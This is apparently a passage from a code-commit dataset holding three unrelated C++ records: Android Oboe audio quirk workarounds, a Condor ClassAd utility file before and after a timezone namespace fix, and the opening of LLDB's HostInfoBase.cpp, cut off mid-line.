\/\/ TODO There may be a problem if the devices supports low latency\n \/\/ at a higher rate than the default.\n if (builder.getSampleRate() != oboe::Unspecified\n && builder.getSampleRateConversionQuality() != SampleRateConversionQuality::None\n && isLowLatency\n ) {\n childBuilder.setSampleRate(oboe::Unspecified); \/\/ native API decides the best sample rate\n conversionNeeded = true;\n }\n\n \/\/ Data Format\n \/\/ OpenSL ES and AAudio before P do not support FAST path for FLOAT capture.\n if (isFloat\n && isInput\n && builder.isFormatConversionAllowed()\n && isLowLatency\n && (!builder.willUseAAudio() || (getSdkVersion() < __ANDROID_API_P__))\n ) {\n childBuilder.setFormat(AudioFormat::I16); \/\/ needed for FAST track\n conversionNeeded = true;\n LOGI(\"QuirksManager::%s() forcing internal format to I16 for low latency\", __func__);\n }\n\n \/\/ Add quirk for float output on API <21\n if (isFloat\n && !isInput\n && getSdkVersion() < __ANDROID_API_L__\n && builder.isFormatConversionAllowed()\n ) {\n childBuilder.setFormat(AudioFormat::I16);\n conversionNeeded = true;\n LOGI(\"QuirksManager::%s() float was requested but not supported on pre-L devices, \"\n \"creating an underlying I16 stream and using format conversion to provide a float \"\n \"stream\", __func__);\n }\n\n \/\/ Channel Count conversions\n if (OboeGlobals::areWorkaroundsEnabled()\n && builder.isChannelConversionAllowed()\n && builder.getChannelCount() == kChannelCountStereo\n && isInput\n && isLowLatency\n && (!builder.willUseAAudio() && (getSdkVersion() == __ANDROID_API_O__))\n ) {\n \/\/ Workaround for heap size regression in O.\n \/\/ b\/66967812 AudioRecord does not allow FAST track for stereo capture in O\n childBuilder.setChannelCount(kChannelCountMono);\n conversionNeeded = true;\n LOGI(\"QuirksManager::%s() using mono internally for low latency on O\", __func__);\n } else if (OboeGlobals::areWorkaroundsEnabled()\n && builder.getChannelCount() == kChannelCountMono\n && isInput\n && mDeviceQuirks->isMonoMMapActuallyStereo()\n && builder.willUseAAudio()\n \/\/ Note: we might use this workaround on a device that supports\n \/\/ MMAP but will use Legacy for this stream. But this will only happen\n \/\/ on devices that have the broken mono.\n && mDeviceQuirks->isAAudioMMapPossible(builder)\n ) {\n \/\/ Workaround for mono actually running in stereo mode.\n childBuilder.setChannelCount(kChannelCountStereo); \/\/ Use stereo and extract first channel.\n conversionNeeded = true;\n LOGI(\"QuirksManager::%s() using stereo internally to avoid broken mono\", __func__);\n }\n \/\/ Note that MMAP does not support mono in 8.1. But that would only matter on Pixel 1\n \/\/ phones and they have almost all been updated to 9.0.\n\n return conversionNeeded;\n}\n\nbool QuirksManager::isMMapSafe(AudioStreamBuilder &builder) {\n if (!OboeGlobals::areWorkaroundsEnabled()) return true;\n return mDeviceQuirks->isMMapSafe(builder);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*********************************************************************\n *\n * Condor ClassAd library\n * Copyright (C) 1990-2003, Condor Team, Computer Sciences Department,\n * University of Wisconsin-Madison, WI and Rajesh Raman.\n *\n * This source code is covered by the Condor Public License, which can\n * be found in the accompanying LICENSE file, or online at\n * www.condorproject.org.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * AND THE UNIVERSITY OF WISCONSIN-MADISON \"AS IS\" AND ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY, OF SATISFACTORY QUALITY, AND FITNESS\n * FOR A PARTICULAR PURPOSE OR USE ARE DISCLAIMED. THE COPYRIGHT\n * HOLDERS AND CONTRIBUTORS AND THE UNIVERSITY OF WISCONSIN-MADISON\n * MAKE NO MAKE NO REPRESENTATION THAT THE SOFTWARE, MODIFICATIONS,\n * ENHANCEMENTS OR DERIVATIVE WORKS THEREOF, WILL NOT INFRINGE ANY\n * PATENT, COPYRIGHT, TRADEMARK, TRADE SECRET OR OTHER PROPRIETARY\n * RIGHT.\n *\n *********************************************************************\/\n\n#include \"common.h\"\n#include \"util.h\"\n\nusing namespace std;\n\nBEGIN_NAMESPACE( classad )\n\n#ifdef WIN32\n#define BIGGEST_RANDOM_INT RAND_MAX\nint get_random_integer(void)\n{\n static char initialized = 0;\n\n\tif (!initialized) {\n int seed = time(NULL);\n srand(seed);\n initialized = 1;\n\t}\n\n\treturn rand();\n}\n#else\n#define BIGGEST_RANDOM_INT INT_MAX\nint get_random_integer(void)\n{\n static char initialized = 0;\n\n\tif (!initialized) {\n int seed = time(NULL);\n srand48(seed);\n initialized = 1;\n\t}\n\treturn (int) (lrand48() & INT_MAX);\n}\n#endif\n\ndouble get_random_real(void)\n{\n return (get_random_integer() \/ (double) BIGGEST_RANDOM_INT);\n}\n\nlong timezone_offset(void)\n{\n#ifdef __APPLE_CC__\n static long tz_offset = 0;\n static bool have_tz_offset = false;\n\n if (!have_tz_offset) {\n struct tm *tms;\n time_t clock;\n\n time(&clock);\n tms = localtime(&clock);\n tz_offset = -tms->tm_gmtoff;\n if (0 != tms->tm_isdst) {\n tz_offset += 3600;\n }\n }\n return tz_offset;\n#else\n\n extern DLL_IMPORT_MAGIC long timezone;\n\n return timezone;\n#endif\n}\n\nvoid convert_escapes(string &text, bool &validStr)\n{\n\tchar *copy;\n\tint length;\n\tint source, dest;\n\n\t\/\/ We now it will be no longer than the original.\n\tlength = text.length();\n\tcopy = new char[length + 1];\n\t\n\t\/\/ We scan up to one less than the length, because we ignore\n\t\/\/ a terminating slash: it can't be an escape. \n\tdest = 0;\n\tfor (source = 0; source < length - 1; source++) {\n\t\tif (text[source] != '\\\\' || source == length - 1) {\n\t\t\tcopy[dest++]= text[source]; \n\t\t}\n\t\telse {\n\t\t\tsource++;\n\n\t\t\tchar new_char;\n\t\t\tswitch(text[source]) {\n\t\t\tcase 'a':\tnew_char = '\\a'; break;\n\t\t\tcase 'b':\tnew_char = '\\b'; break;\n\t\t\tcase 'f':\tnew_char = '\\f'; break;\n\t\t\tcase 'n':\tnew_char = '\\n'; break;\n\t\t\tcase 'r':\tnew_char = '\\r'; break;\n\t\t\tcase 't':\tnew_char = '\\t'; break;\n\t\t\tcase 'v':\tnew_char = '\\v'; break;\n\t\t\tcase '\\\\':\tnew_char = '\\\\'; break;\n\t\t\tcase '\\?':\tnew_char = '\\?'; break;\n\t\t\tcase '\\'':\tnew_char = '\\''; break;\n\t\t\tcase '\\\"':\tnew_char = '\\\"'; break;\n\t\t\tdefault: \n\t\t\t\tif (isodigit(text[source])) {\n\t\t\t\t\tint number;\n\t\t\t\t\t\/\/ There are three allowed ways to have octal escape characters:\n\t\t\t\t\t\/\/ \\[0..3]nn or \\nn or \\n. We check for them in that order.\n\t\t\t\t\tif ( source <= length - 3\n\t\t\t\t\t\t&& text[source] >= '0' && text[source] <= '3'\n\t\t\t\t\t\t&& isodigit(text[source+1])\n\t\t\t\t\t\t&& isodigit(text[source+2])) {\n\n\t\t\t\t\t\t\/\/ We have the \\[0..3]nn case\n\t\t\t\t\t\tchar octal[4];\n\t\t\t\t\t\toctal[0] = text[source];\n\t\t\t\t\t\toctal[1] = text[source+1];\n\t\t\t\t\t\toctal[2] = text[source+2];\n\t\t\t\t\t\toctal[3] = 0;\n\t\t\t\t\t\tsscanf(octal, \"%o\", &number);\n\t\t\t\t\t\tnew_char = number;\n\t\t\t\t\t\tsource += 2; \/\/ to account for the two extra digits\n\t\t\t\t\t} else if ( source <= length -2\n\t\t\t\t\t\t\t && isodigit(text[source+1])) {\n\n\t\t\t\t\t\t\/\/ We have the \\nn case\n\t\t\t\t\t\tchar octal[3];\n\t\t\t\t\t\toctal[0] = text[source];\n\t\t\t\t\t\toctal[1] = text[source+1];\n\t\t\t\t\t\toctal[2] = 0;\n\t\t\t\t\t\tsscanf(octal, \"%o\", &number);\n\t\t\t\t\t\tnew_char = number;\n\t\t\t\t\t\tsource += 1; \/\/ to account for the extra digit\n\t\t\t\t\t} else if (source <= length - 1) {\n\t\t\t\t\t\tchar octal[2];\n\t\t\t\t\t\toctal[0] = text[source];\n\t\t\t\t\t\toctal[1] = 0;\n\t\t\t\t\t\tsscanf(octal, \"%o\", &number);\n\t\t\t\t\t\tnew_char = number;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tnew_char = text[source];\n\t\t\t\t\t}\n\t\t\t\t\tif(number == 0) { \/\/ \"\\\\0\" is an invalid substring within a string literal\n\t\t\t\t\t validStr = false;\n\t\t\t\t\t delete [] copy;\n\t\t\t\t\t return;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tnew_char = text[source];\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcopy[dest++] = new_char;\n\t\t}\n\t}\n\tcopy[dest] = 0;\n\ttext = copy;\n\tdelete [] copy;\n\treturn;\n}\n\nvoid \ngetLocalTime(time_t *now, struct tm *localtm) \n{\n\n#ifndef WIN32\n\tlocaltime_r( now, localtm );\n#else\n\t\/\/ there is no localtime_r() on Windows, so for now\n\t\/\/ we just call localtime() and deep copy the result.\n\n\tstruct tm *lt_ptr; \n\n\tlt_ptr = localtime(now);\n\n\tif (localtm == NULL) { return; } \n\n\tlocaltm->tm_sec = lt_ptr->tm_sec; \/* seconds *\/\n\tlocaltm->tm_min = lt_ptr->tm_min; \/* minutes *\/\n\tlocaltm->tm_hour = lt_ptr->tm_hour; \/* hours *\/\n\tlocaltm->tm_mday = lt_ptr->tm_mday; \/* day of the month *\/\n\tlocaltm->tm_mon = lt_ptr->tm_mon; \/* month *\/\n\tlocaltm->tm_year = lt_ptr->tm_year; \/* year *\/\n\tlocaltm->tm_wday = lt_ptr->tm_wday; \/* day of the week *\/\n\tlocaltm->tm_yday = lt_ptr->tm_yday; \/* day in the year *\/\n\tlocaltm->tm_isdst = lt_ptr->tm_isdst; \/* daylight saving time *\/\n\t\n#endif\n\treturn;\n}\n\nvoid \ngetGMTime(time_t *now, struct tm *gtm) \n{\n\n#ifndef WIN32\n\tgmtime_r( now, gtm );\n#else\n\t\/\/ there is no localtime_r() on Windows, so for now\n\t\/\/ we just call localtime() and deep copy the result.\n\n\tstruct tm *gt_ptr; \n\n\tgt_ptr = gmtime(now);\n\n\tif (gtm == NULL) { return; } \n\n\tgtm->tm_sec = gt_ptr->tm_sec; \/* seconds *\/\n\tgtm->tm_min = gt_ptr->tm_min; \/* minutes *\/\n\tgtm->tm_hour = gt_ptr->tm_hour; \/* hours *\/\n\tgtm->tm_mday = gt_ptr->tm_mday; \/* day of the month *\/\n\tgtm->tm_mon = gt_ptr->tm_mon; \/* month *\/\n\tgtm->tm_year = gt_ptr->tm_year; \/* year *\/\n\tgtm->tm_wday = gt_ptr->tm_wday; \/* day of the week *\/\n\tgtm->tm_yday = gt_ptr->tm_yday; \/* day in the year *\/\n\tgtm->tm_isdst = gt_ptr->tm_isdst; \/* daylight saving time *\/\n\t\n#endif\n\treturn;\n}\n\nvoid absTimeToString(const abstime_t &atime, string &buffer)\n{\n int tzsecs;\n time_t epoch_time;\n char timebuf[32], sign;\n struct tm tms;\n\n tzsecs = atime.offset; \n epoch_time = atime.secs;\n if (tzsecs > 0) { \n sign = '+'; \/\/ timezone offset's sign\n } else {\n sign = '-';\n tzsecs = -tzsecs;\n }\n getGMTime(&epoch_time, &tms);\n strftime(timebuf, sizeof(timebuf), \"%Y-%m-%dT%H:%M:%S\", &tms);\n buffer += timebuf;\n sprintf(timebuf, \"%c%02d%02d\", sign, tzsecs \/ 3600, (tzsecs \/ 60) % 60);\n buffer += timebuf;\n return;\n}\n\nvoid relTimeToString(double rsecs, string &buffer)\n{\n double fractional_seconds;\n int days, hrs, mins;\n double secs;\n char timebuf[128];\n \n if( rsecs < 0 ) {\n buffer += \"-\";\n rsecs = -rsecs;\n }\n fractional_seconds = rsecs - floor(rsecs);\n\n days = (int) rsecs;\n hrs = days % 86400;\n mins = hrs % 3600;\n secs = (mins % 60) + fractional_seconds;\n days = days \/ 86400;\n hrs = hrs \/ 3600;\n mins = mins \/ 60;\n \n if (days) {\n if (fractional_seconds == 0) {\n sprintf(timebuf, \"%d+%02d:%02d:%02d\", days, hrs, mins, (int) secs);\n } else {\n sprintf(timebuf, \"%d+%02d:%02d:%02g\", days, hrs, mins, secs);\n }\n buffer += timebuf;\n } else if (hrs) {\n if (fractional_seconds == 0) {\n sprintf(timebuf, \"%02d:%02d:%02d\", hrs, mins, (int) secs);\n } else {\n sprintf(timebuf, \"%02d:%02d:%02g\", hrs, mins, secs);\n }\n buffer += timebuf;\n } else if (mins) {\n if (fractional_seconds == 0) {\n sprintf(timebuf, \"%02d:%02d\", mins, (int) secs);\n } else {\n sprintf(timebuf, \"%02d:%02g\", mins, secs);\n }\n buffer += timebuf;\n return;\n } else {\n if (fractional_seconds == 0) {\n sprintf(timebuf, \"%02d\", (int) secs);\n } else {\n sprintf(timebuf, \"%02g\", secs);\n }\n buffer += timebuf;\n }\n return;\n}\n\n#ifdef WIN32\nint classad_isinf(double x) \n{\n\n\tint result;\n\tresult = _fpclass(x);\n\n\tif (result == _FPCLASS_NINF ) {\n\t\t\/* negative infinity *\/\n\t\treturn -1;\n\t} else if ( result == _FPCLASS_PINF ) {\n\t\t\/* positive infinity *\/\n\t\treturn 1;\n\t} else {\n\t\t\/* otherwise *\/\n\t\treturn 0;\n\t}\n}\n#elif (defined (__SVR4) && defined (__sun)) || defined(__APPLE_CC__)\n#ifndef __APPLE_CC__\n#include <ieeefp.h>\n#endif\nint classad_isinf(double x) \n{ \n if (finite(x) || x != x) {\n return 0;\n } else if (x > 0) {\n return 1;\n } else {\n return -1;\n }\n}\n#else\nint classad_isinf(double x) \n{\n return isinf(x);\n}\n#endif \n\n#ifdef __APPLE_CC__\nint classad_isnan(double x)\n{\n return __isnan(x);\n}\n#else\nint classad_isnan(double x)\n{\n return isnan(x);\n}\n#endif\n\nEND_NAMESPACE \/\/ classad\n<commit_msg>Fixed namespace problem when compiling with the ClassAd namespace.<commit_after>\/*********************************************************************\n *\n * Condor ClassAd library\n * Copyright (C) 1990-2003, Condor Team, Computer Sciences Department,\n * University of Wisconsin-Madison, WI and Rajesh Raman.\n *\n * This source code is covered by the Condor Public License, which can\n * be found in the accompanying LICENSE file, or online at\n * www.condorproject.org.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * AND THE UNIVERSITY OF WISCONSIN-MADISON \"AS IS\" AND ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY, OF SATISFACTORY QUALITY, AND FITNESS\n * FOR A PARTICULAR PURPOSE OR USE ARE DISCLAIMED. THE COPYRIGHT\n * HOLDERS AND CONTRIBUTORS AND THE UNIVERSITY OF WISCONSIN-MADISON\n * MAKE NO MAKE NO REPRESENTATION THAT THE SOFTWARE, MODIFICATIONS,\n * ENHANCEMENTS OR DERIVATIVE WORKS THEREOF, WILL NOT INFRINGE ANY\n * PATENT, COPYRIGHT, TRADEMARK, TRADE SECRET OR OTHER PROPRIETARY\n * RIGHT.\n *\n *********************************************************************\/\n\n#include \"common.h\"\n#include \"util.h\"\n\nusing namespace std;\n\nBEGIN_NAMESPACE( classad )\n\n#ifdef WIN32\n#define BIGGEST_RANDOM_INT RAND_MAX\nint get_random_integer(void)\n{\n static char initialized = 0;\n\n\tif (!initialized) {\n int seed = time(NULL);\n srand(seed);\n initialized = 1;\n\t}\n\n\treturn rand();\n}\n#else\n#define BIGGEST_RANDOM_INT INT_MAX\nint get_random_integer(void)\n{\n static char initialized = 0;\n\n\tif (!initialized) {\n int seed = time(NULL);\n srand48(seed);\n initialized = 1;\n\t}\n\treturn (int) (lrand48() & INT_MAX);\n}\n#endif\n\ndouble get_random_real(void)\n{\n return (get_random_integer() \/ (double) BIGGEST_RANDOM_INT);\n}\n\nlong timezone_offset(void)\n{\n#ifdef __APPLE_CC__\n static long tz_offset = 0;\n static bool have_tz_offset = false;\n\n if (!have_tz_offset) {\n struct tm *tms;\n time_t clock;\n\n time(&clock);\n tms = localtime(&clock);\n tz_offset = -tms->tm_gmtoff;\n if (0 != tms->tm_isdst) {\n tz_offset += 3600;\n }\n }\n return tz_offset;\n#else\n\n extern DLL_IMPORT_MAGIC long timezone;\n\n return ::timezone;\n#endif\n}\n\nvoid convert_escapes(string &text, bool &validStr)\n{\n\tchar *copy;\n\tint length;\n\tint source, dest;\n\n\t\/\/ We now it will be no longer than the original.\n\tlength = text.length();\n\tcopy = new char[length + 1];\n\t\n\t\/\/ We scan up to one less than the length, because we ignore\n\t\/\/ a terminating slash: it can't be an escape. \n\tdest = 0;\n\tfor (source = 0; source < length - 1; source++) {\n\t\tif (text[source] != '\\\\' || source == length - 1) {\n\t\t\tcopy[dest++]= text[source]; \n\t\t}\n\t\telse {\n\t\t\tsource++;\n\n\t\t\tchar new_char;\n\t\t\tswitch(text[source]) {\n\t\t\tcase 'a':\tnew_char = '\\a'; break;\n\t\t\tcase 'b':\tnew_char = '\\b'; break;\n\t\t\tcase 'f':\tnew_char = '\\f'; break;\n\t\t\tcase 'n':\tnew_char = '\\n'; break;\n\t\t\tcase 'r':\tnew_char = '\\r'; break;\n\t\t\tcase 't':\tnew_char = '\\t'; break;\n\t\t\tcase 'v':\tnew_char = '\\v'; break;\n\t\t\tcase '\\\\':\tnew_char = '\\\\'; break;\n\t\t\tcase '\\?':\tnew_char = '\\?'; break;\n\t\t\tcase '\\'':\tnew_char = '\\''; break;\n\t\t\tcase '\\\"':\tnew_char = '\\\"'; break;\n\t\t\tdefault: \n\t\t\t\tif (isodigit(text[source])) {\n\t\t\t\t\tint number;\n\t\t\t\t\t\/\/ There are three allowed ways to have octal escape characters:\n\t\t\t\t\t\/\/ \\[0..3]nn or \\nn or \\n. We check for them in that order.\n\t\t\t\t\tif ( source <= length - 3\n\t\t\t\t\t\t&& text[source] >= '0' && text[source] <= '3'\n\t\t\t\t\t\t&& isodigit(text[source+1])\n\t\t\t\t\t\t&& isodigit(text[source+2])) {\n\n\t\t\t\t\t\t\/\/ We have the \\[0..3]nn case\n\t\t\t\t\t\tchar octal[4];\n\t\t\t\t\t\toctal[0] = text[source];\n\t\t\t\t\t\toctal[1] = text[source+1];\n\t\t\t\t\t\toctal[2] = text[source+2];\n\t\t\t\t\t\toctal[3] = 0;\n\t\t\t\t\t\tsscanf(octal, \"%o\", &number);\n\t\t\t\t\t\tnew_char = number;\n\t\t\t\t\t\tsource += 2; \/\/ to account for the two extra digits\n\t\t\t\t\t} else if ( source <= length -2\n\t\t\t\t\t\t\t && isodigit(text[source+1])) {\n\n\t\t\t\t\t\t\/\/ We have the \\nn case\n\t\t\t\t\t\tchar octal[3];\n\t\t\t\t\t\toctal[0] = text[source];\n\t\t\t\t\t\toctal[1] = text[source+1];\n\t\t\t\t\t\toctal[2] = 0;\n\t\t\t\t\t\tsscanf(octal, \"%o\", &number);\n\t\t\t\t\t\tnew_char = number;\n\t\t\t\t\t\tsource += 1; \/\/ to account for the extra digit\n\t\t\t\t\t} else if (source <= length - 1) {\n\t\t\t\t\t\tchar octal[2];\n\t\t\t\t\t\toctal[0] = text[source];\n\t\t\t\t\t\toctal[1] = 0;\n\t\t\t\t\t\tsscanf(octal, \"%o\", &number);\n\t\t\t\t\t\tnew_char = number;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tnew_char = text[source];\n\t\t\t\t\t}\n\t\t\t\t\tif(number == 0) { \/\/ \"\\\\0\" is an invalid substring within a string literal\n\t\t\t\t\t validStr = false;\n\t\t\t\t\t delete [] copy;\n\t\t\t\t\t return;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tnew_char = text[source];\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcopy[dest++] = new_char;\n\t\t}\n\t}\n\tcopy[dest] = 0;\n\ttext = copy;\n\tdelete [] copy;\n\treturn;\n}\n\nvoid \ngetLocalTime(time_t *now, struct tm *localtm) \n{\n\n#ifndef WIN32\n\tlocaltime_r( now, localtm );\n#else\n\t\/\/ there is no localtime_r() on Windows, so for now\n\t\/\/ we just call localtime() and deep copy the result.\n\n\tstruct tm *lt_ptr; \n\n\tlt_ptr = localtime(now);\n\n\tif (localtm == NULL) { return; } \n\n\tlocaltm->tm_sec = lt_ptr->tm_sec; \/* seconds *\/\n\tlocaltm->tm_min = lt_ptr->tm_min; \/* minutes *\/\n\tlocaltm->tm_hour = lt_ptr->tm_hour; \/* hours *\/\n\tlocaltm->tm_mday = lt_ptr->tm_mday; \/* day of the month *\/\n\tlocaltm->tm_mon = lt_ptr->tm_mon; \/* month *\/\n\tlocaltm->tm_year = lt_ptr->tm_year; \/* year *\/\n\tlocaltm->tm_wday = lt_ptr->tm_wday; \/* day of the week *\/\n\tlocaltm->tm_yday = lt_ptr->tm_yday; \/* day in the year *\/\n\tlocaltm->tm_isdst = lt_ptr->tm_isdst; \/* daylight saving time *\/\n\t\n#endif\n\treturn;\n}\n\nvoid \ngetGMTime(time_t *now, struct tm *gtm) \n{\n\n#ifndef WIN32\n\tgmtime_r( now, gtm );\n#else\n\t\/\/ there is no localtime_r() on Windows, so for now\n\t\/\/ we just call localtime() and deep copy the result.\n\n\tstruct tm *gt_ptr; \n\n\tgt_ptr = gmtime(now);\n\n\tif (gtm == NULL) { return; } \n\n\tgtm->tm_sec = gt_ptr->tm_sec; \/* seconds *\/\n\tgtm->tm_min = gt_ptr->tm_min; \/* minutes *\/\n\tgtm->tm_hour = gt_ptr->tm_hour; \/* hours *\/\n\tgtm->tm_mday = gt_ptr->tm_mday; \/* day of the month *\/\n\tgtm->tm_mon = gt_ptr->tm_mon; \/* month *\/\n\tgtm->tm_year = gt_ptr->tm_year; \/* year *\/\n\tgtm->tm_wday = gt_ptr->tm_wday; \/* day of the week *\/\n\tgtm->tm_yday = gt_ptr->tm_yday; \/* day in the year *\/\n\tgtm->tm_isdst = gt_ptr->tm_isdst; \/* daylight saving time *\/\n\t\n#endif\n\treturn;\n}\n\nvoid absTimeToString(const abstime_t &atime, string &buffer)\n{\n int tzsecs;\n time_t epoch_time;\n char timebuf[32], sign;\n struct tm tms;\n\n tzsecs = atime.offset; \n epoch_time = atime.secs;\n if (tzsecs > 0) { \n sign = '+'; \/\/ timezone offset's sign\n } else {\n sign = '-';\n tzsecs = -tzsecs;\n }\n getGMTime(&epoch_time, &tms);\n strftime(timebuf, sizeof(timebuf), \"%Y-%m-%dT%H:%M:%S\", &tms);\n buffer += timebuf;\n sprintf(timebuf, \"%c%02d%02d\", sign, tzsecs \/ 3600, (tzsecs \/ 60) % 60);\n buffer += timebuf;\n return;\n}\n\nvoid relTimeToString(double rsecs, string &buffer)\n{\n double fractional_seconds;\n int days, hrs, mins;\n double secs;\n char timebuf[128];\n \n if( rsecs < 0 ) {\n buffer += \"-\";\n rsecs = -rsecs;\n }\n fractional_seconds = rsecs - floor(rsecs);\n\n days = (int) rsecs;\n hrs = days % 86400;\n mins = hrs % 3600;\n secs = (mins % 60) + fractional_seconds;\n days = days \/ 86400;\n hrs = hrs \/ 3600;\n mins = mins \/ 60;\n \n if (days) {\n if (fractional_seconds == 0) {\n sprintf(timebuf, \"%d+%02d:%02d:%02d\", days, hrs, mins, (int) secs);\n } else {\n sprintf(timebuf, \"%d+%02d:%02d:%02g\", days, hrs, mins, secs);\n }\n buffer += timebuf;\n } else if (hrs) {\n if (fractional_seconds == 0) {\n sprintf(timebuf, \"%02d:%02d:%02d\", hrs, mins, (int) secs);\n } else {\n sprintf(timebuf, \"%02d:%02d:%02g\", hrs, mins, secs);\n }\n buffer += timebuf;\n } else if (mins) {\n if (fractional_seconds == 0) {\n sprintf(timebuf, \"%02d:%02d\", mins, (int) secs);\n } else {\n sprintf(timebuf, \"%02d:%02g\", mins, secs);\n }\n buffer += timebuf;\n return;\n } else {\n if (fractional_seconds == 0) {\n sprintf(timebuf, \"%02d\", (int) secs);\n } else {\n sprintf(timebuf, \"%02g\", secs);\n }\n buffer += timebuf;\n }\n return;\n}\n\n#ifdef WIN32\nint classad_isinf(double x) \n{\n\n\tint result;\n\tresult = _fpclass(x);\n\n\tif (result == _FPCLASS_NINF ) {\n\t\t\/* negative infinity *\/\n\t\treturn -1;\n\t} else if ( result == _FPCLASS_PINF ) {\n\t\t\/* positive infinity *\/\n\t\treturn 1;\n\t} else {\n\t\t\/* otherwise *\/\n\t\treturn 0;\n\t}\n}\n#elif (defined (__SVR4) && defined (__sun)) || defined(__APPLE_CC__)\n#ifndef __APPLE_CC__\n#include <ieeefp.h>\n#endif\nint classad_isinf(double x) \n{ \n if (finite(x) || x != x) {\n return 0;\n } else if (x > 0) {\n return 1;\n } else {\n return -1;\n }\n}\n#else\nint classad_isinf(double x) \n{\n return isinf(x);\n}\n#endif \n\n#ifdef __APPLE_CC__\nint classad_isnan(double x)\n{\n return __isnan(x);\n}\n#else\nint classad_isnan(double x)\n{\n return isnan(x);\n}\n#endif\n\nEND_NAMESPACE \/\/ classad\n<|endoftext|>"} {"text":"<commit_before>\/\/===-- HostInfoBase.cpp ----------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"lldb\/Host\/Config.h\"\n\n#include \"lldb\/Core\/ArchSpec.h\"\n#include \"lldb\/Core\/Log.h\"\n#include \"lldb\/Core\/StreamString.h\"\n#include \"lldb\/Host\/FileSystem.h\"\n#include \"lldb\/Host\/Host.h\"\n#include \"lldb\/Host\/HostInfo.h\"\n#include \"lldb\/Host\/HostInfoBase.h\"\n\n#include \"llvm\/ADT\/Triple.h\"\n#include \"llvm\/ADT\/StringExtras.h\"\n#include \"llvm\/Support\/Host.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n\n#include <thread>\n#include <mutex> \/\/ std::once\n\nusing namespace lldb;\nusing namespace lldb_private;\n\nnamespace\n{\n void\n CleanupProcessSpecificLLDBTempDir()\n {\n \/\/ Get the process specific LLDB temporary directory and delete it.\n FileSpec tmpdir_file_spec;\n if (!HostInfo::GetLLDBPath(ePathTypeLLDBTempSystemDir, tmpdir_file_spec))\n return;\n\n \/\/ Remove the LLDB temporary directory if we have one. Set \"recurse\" to\n \/\/ true to all files that were created for the LLDB process can be cleaned up.\n FileSystem::DeleteDirectory(tmpdir_file_spec.GetDirectory().GetCString(), true);\n }\n\n \/\/----------------------------------------------------------------------\n \/\/ The HostInfoBaseFields is a work around for windows not supporting\n \/\/ static variables correctly in a thread safe way. Really each of the\n \/\/ variables in HostInfoBaseFields should live in the functions in which\n \/\/ they are used and each one should be static, but the work around is\n \/\/ in place to avoid this restriction. Ick.\n \/\/----------------------------------------------------------------------\n\n struct HostInfoBaseFields\n {\n uint32_t m_number_cpus;\n std::string m_vendor_string;\n std::string m_os_string;\n std::string m_host_triple;\n\n ArchSpec m_host_arch_32;\n ArchSpec m_host_arch_64;\n\n FileSpec m_lldb_so_dir;\n FileSpec m_lldb_support_exe_dir;\n FileSpec m_lldb_headers_dir;\n FileSpec m_lldb_python_dir;\n FileSpec m_lldb_clang_resource_dir;\n FileSpec m_lldb_system_plugin_dir;\n FileSpec m_lldb_user_plugin_dir;\n FileSpec m_lldb_tmp_dir;\n };\n \n HostInfoBaseFields *g_fields = nullptr;\n}\n\nvoid\nHostInfoBase::Initialize()\n{\n g_fields = new HostInfoBaseFields();\n}\n\nuint32_t\nHostInfoBase::GetNumberCPUS()\n{\n static std::once_flag g_once_flag;\n std::call_once(g_once_flag, []() {\n g_fields->m_number_cpus = std::thread::hardware_concurrency();\n });\n return g_fields->m_number_cpus;\n}\n\nuint32_t\nHostInfoBase::GetMaxThreadNameLength()\n{\n return 0;\n}\n\nllvm::StringRef\nHostInfoBase::GetVendorString()\n{\n static std::once_flag g_once_flag;\n std::call_once(g_once_flag, []() {\n g_fields->m_vendor_string = std::move(HostInfo::GetArchitecture().GetTriple().getVendorName().str());\n });\n return g_fields->m_vendor_string;\n}\n\nllvm::StringRef\nHostInfoBase::GetOSString()\n{\n static std::once_flag g_once_flag;\n std::call_once(g_once_flag, []() {\n g_fields->m_os_string = std::move(HostInfo::GetArchitecture().GetTriple().getOSName());\n });\n return g_fields->m_os_string;\n}\n\nllvm::StringRef\nHostInfoBase::GetTargetTriple()\n{\n static std::once_flag g_once_flag;\n std::call_once(g_once_flag, []() {\n g_fields->m_host_triple = HostInfo::GetArchitecture().GetTriple().getTriple();\n });\n return g_fields->m_host_triple;\n}\n\nconst ArchSpec &\nHostInfoBase::GetArchitecture(ArchitectureKind arch_kind)\n{\n static std::once_flag g_once_flag;\n std::call_once(g_once_flag, []() {\n HostInfo::ComputeHostArchitectureSupport(g_fields->m_host_arch_32, g_fields->m_host_arch_64);\n });\n\n \/\/ If an explicit 32 or 64-bit architecture was requested, return that.\n if (arch_kind == eArchKind32)\n return g_fields->m_host_arch_32;\n if (arch_kind == eArchKind64)\n return g_fields->m_host_arch_64;\n\n \/\/ Otherwise prefer the 64-bit architecture if it is valid.\n return (g_fields->m_host_arch_64.IsValid()) ? g_fields->m_host_arch_64 : g_fields->m_host_arch_32;\n}\n\nbool\nHostInfoBase::GetLLDBPath(lldb::PathType type, FileSpec &file_spec)\n{\n file_spec.Clear();\n\n#if defined(LLDB_DISABLE_PYTHON)\n if (type == lldb::ePathTypePythonDir)\n return false;\n#endif\n\n FileSpec *result = nullptr;\n switch (type)\n {\n case lldb::ePathTypeLLDBShlibDir:\n {\n static std::once_flag g_once_flag;\n static bool success = false;\n std::call_once(g_once_flag, []() {\n success = HostInfo::ComputeSharedLibraryDirectory (g_fields->m_lldb_so_dir);\n Log *log 